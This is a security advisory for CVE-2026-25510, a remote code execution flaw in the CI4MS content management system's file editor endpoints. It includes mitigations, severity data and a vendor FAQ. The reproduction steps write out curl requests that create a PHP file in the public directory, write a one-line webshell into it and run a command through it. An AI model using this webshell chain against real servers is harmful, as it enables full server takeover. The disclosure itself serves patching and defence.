CVE-2026-25510

Summary

A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.

Vulnerability Details

The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.

Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.

Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.

An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.

Impact

Successful exploitation allows:

Full access to the server's file system and databases.

Execution of arbitrary OS commands.

Permanent modification or deletion of application data.

Steps to Reproduce

Log in to an account with permissions to use the file editor.

Create a new PHP file in a public directory using the following request:

curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'

Inject a PHP payload into the file using the save endpoint:

curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'

Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami

Suggested Mitigation

Path Validation: Restrict file operations to non-executable directories.

Extension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.

Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.

Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-25510 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.28.5.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25510? CVE-2026-25510 is a critical-severity code injection vulnerability in ci4-cms-erp/ci4ms (composer), affecting versions < 0.28.5.0. It is fixed in 0.28.5.0. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-25510? CVE-2026-25510 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of ci4-cms-erp/ci4ms are affected by CVE-2026-25510? ci4-cms-erp/ci4ms (composer) versions < 0.28.5.0 is affected.
4. Is there a fix for CVE-2026-25510? Yes. CVE-2026-25510 is fixed in 0.28.5.0. Upgrade to this version or later.
5. Is CVE-2026-25510 exploitable, and should I be worried? Whether CVE-2026-25510 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25510 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25510? Upgrade ci4-cms-erp/ci4ms to 0.28.5.0 or later.